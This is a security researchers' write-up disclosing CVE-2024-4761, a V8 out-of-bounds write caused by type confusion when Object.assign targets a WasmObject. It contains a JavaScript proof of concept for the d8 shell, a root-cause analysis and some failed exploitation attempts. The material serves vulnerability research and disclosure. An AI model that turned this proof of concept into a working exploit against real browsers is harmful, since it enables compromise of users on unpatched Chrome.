author: @buptsb, @mistymntncop
2024-05-22 06:53:59

part1: https://x.com/buptsb/status/1790305894401753441
full PoC: https://x.com/buptsb/status/1792197573694107877

This writeup is the FIRST public disclosure for this vulnerability.

Info

[N/A][339458194] High CVE-2024-4761: Out of bounds write in V8. Reported by Anonymous on 2024-05-09
https://chromereleases.googleblog.com/2024/05/stable-channel-update-for-desktop_13.html
Google is aware that an exploit for CVE-2024-4761 exists in the wild.

https://chromium-review.googlesource.com/c/v8/v8/+/5527397

PoC

https://gist.github.com/mistymntncop/2cb449eb6aa30d35d1afd78a8b06bac2

// Build d8 using:
// a) Run once
//    git checkout 6f98fbe86a0d11e6c902e2ee50f609db046daf71
//    gclient sync
//    gn gen ./out/x64.debug
//    gn gen ./out/x64.release
//
// b) 
//    Debug Build:
//    ninja -C ./out/x64.debug d8
//
//    Release Build:
//    ninja -C ./out/x64.release d8
//

function gc_minor() { //scavenge
    for(let i = 0; i < 1000; i++) {
        new ArrayBuffer(0x10000);
    }
}

function gc_major() { //mark-sweep
    new ArrayBuffer(0x7FE00000);
}

d8.file.execute("wasm-module-builder.js");

let builder = new WasmModuleBuilder();

let array_type = builder.addArray(kWasmI32, true);
builder.addFunction('create_array', makeSig([kWasmI32], [wasmRefType(array_type)]))
    .addBody([
        kExprLocalGet, 0,
        kGCPrefix, kExprArrayNewDefault, array_type,
    ])
.exportFunc();

let wasm_instance = builder.instantiate({});
let wasm = wasm_instance.exports;

const kDescriptorIndexBitCount = 10;
const kMaxNumberOfDescriptors = (1 << kDescriptorIndexBitCount) - 4; //1020

//TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler)
//    args.ForEach(
//        [=](TNode<Object> next_source) {
//          CallBuiltin(Builtin::kSetDataProperties, context, to, next_source);
//        },
//        IntPtrConstant(1));
//TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler)
//  TailCallRuntime(Runtime::kSetDataProperties, context, target, source);
//RUNTIME_FUNCTION(Runtime_SetDataProperties)
//  JSReceiver::SetOrCopyDataProperties(...)
function install_primitives() {
    let src = {};
    for(let i = 0; i < (kMaxNumberOfDescriptors+1); i++) {
        src[`p${i}`] = 1;
    }
    //stops us from crashing in SetOrCopyDataProperties
    src.__defineGetter__("p0", function() {
        throw new Error("bailout");
    });
    //need to create the map beforehand to avoid descriptor arrays being allocated 
    //innapropriately
    let dummy = {};
    dummy.i1 = 0;
    dummy.i2 = 0;
    dummy.i3 = 0;
    dummy.i4 = 0;
    for(let i = 1; i <= 16; i++) {
        dummy[`p${i}`] = 0;
    }

    var o = {};
    //inline properties
    o.i1 = 0;
    o.i2 = 0;
    o.i3 = 0;
    o.i4 = 0;

    //external properties
    o.p1 = 0; //fake SeqTwoByteString length field
    for(let i = 2; i <= 15; i++) {
        o[`p${i}`] = 0;
    }
    let wasm_array = wasm.create_array(0);
    o.p16 = 0; //reallocates new property array twice as large
    
    var arr1 = [1.1];//, 1.1, 1.1, 1.1];
    var arr2 = [{}];

    %DebugPrint(wasm_array);
    %DebugPrint(o);

    try {
        //trigger 1 element OOB zero write
        Object.assign(wasm_array, src);
    } catch(err) {}
    
    gc_major();
    %DebugPrint(wasm_array);
    o.p9 = 1024;
    o.p11 = 1024;
    //%DebugPrint(o); //will crash
    
    %DebugPrint(arr1);
}
function pwn() {
    install_primitives();
}

pwn();

Analysis

Part 1: type confusion

When calling Object.assign() on a WasmObject, JSReceiver::SetOrCopyDataProperties() lacks a type check
IsJSObject(*target) before calling Handle::cast(target), which causes type confusion from WasmObject
to JSObject.

As WasmObject is only a JSReceiver, not a JSObject, we may have inconsistency during the call to JSObject::NormalizeProperties on the target WasmObject.

Call stack:

JSReceiver::SetOrCopyDataProperties
	JSObject::NormalizeProperties(target, CLEAR_INOBJECT_PROPERTIES)
	Runtime::SetObjectProperty(target, key, value)

JSObject::NormalizeProperties
	new_map = Map::Normalize(map)
	JSObject::MigrateToMap(target, new_map, expected_additional_properties)

Map::Normalize
	Map::CopyNormalized()
		new_instance_size = map->instance_size()
		if (mode == CLEAR_INOBJECT_PROPERTIES) {
			new_instance_size -= map->GetInObjectProperties() * kTaggedSize;
		}
		result = RawCopy(map, new_instance_size, 0)
			Factory::NewMap(), Factory::NewMapImpl()
				Factory::InitializeMap()
					if (InstanceTypeChecker::IsJSObject(type)) {
						...
					} else {
						map->set_inobject_properties_start_or_constructor_function_index(0) <------- (1)
					}

JSObject::MigrateToMap
	MigrateFastToSlow()
		<create dictionary...>
		object->SetProperties(*dictionary)

		// clear up in-object properties
		inobject_properties = new_map->GetInObjectProperties()
		for (int i = 0; i < inobject_properties; i++) {
			object->FastPropertyAtPut(FieldIndex::ForPropertyIndex(*new_map, i), Smi::zero()); <------- (2)
		}

FieldIndex::ForPropertyIndex
	bool is_inobject = property_index < map->GetInObjectProperties()
	if (is_inobject) offset = map->GetInObjectPropertyOffset(property_index) <------- (3)
	return FieldIndex(...)

in (1) new_map’s "in-object properties" start offset is set to zero, for a non-jsobject as we have a WasmObject
in (3) then the FieldIndex’s offset would start from 0
in (2) override the whole WasmObject from [map addr, map addr + N] with zeros values, N is controlled by us

Part2: control the oob write length

WasmStruct::EncodeInstanceSizeInMap and WasmArray::EncodeElementSizeInMap would use fields in map for GC uses.
For WasmStruct, it encodes its GCsize in byte1 and byte2 of its map.

image

Now refer to the Map layout map:

[byte0]: instance size
byte1: inobject_properties_start_or_constructor_function_index()
byte2: used_or_unused_instance_size_in_words()

image

For a WasmStruct:

Map::instance_size()
	return 0

Map::GetInObjectProperties()	
	return instance_size_in_words() - GetInObjectPropertiesStartInWords();

Map:GetInObjectPropertiesStartInWords()
	return inobject_properties_start_or_constructor_function_index()

Map::GetInObjectPropertyOffset(int index)
	return (GetInObjectPropertiesStartInWords() + index) * kTaggedSize;

Then we could control how many zeros to write in memory, through setting the size of the WasmStruct.

Failed attempts

Now we have a kind of weak primitve of oob writing any zeros, but how to exploit this primite into any oob read/write?

Attempt 1: try calling left trim on the JSArray

Tagged<FixedArrayBase> Heap::LeftTrimFixedArray(Tagged<FixedArrayBase> object,
                                                int elements_to_trim) {
  ...

  const int element_size = IsFixedArray(object) ? kTaggedSize : kDoubleSize;   
  const int bytes_to_trim = elements_to_trim * element_size;   <------ IsFixedArray(object) return false, bytes_to_trim = 8

  const int len = object->length();            <--------- len is 0
  DCHECK(elements_to_trim <= len);
  
  Address old_start = object.address();
  Address new_start = old_start + bytes_to_trim;

  CreateFillerObjectAtRaw();   <--- create 8 bytes filler at old_start

  ...

  RELAXED_WRITE_FIELD(object, bytes_to_trim,
                      Tagged<Object>(MapWord::FromMap(map).ptr()));
  RELAXED_WRITE_FIELD(object, bytes_to_trim + kTaggedSize,
                      Smi::FromInt(len - elements_to_trim));     <---------- overflow???

}

Then create jsarray from fixedarray?
But the fixedarray's length now overflows, but into a negative value...

image

Same GC technique as CVE-2024-4947

Just same as the same technique from CVE-2024-4947, we could corrupt a object's PropertyArray size using a fake Map object from addr cage base+0.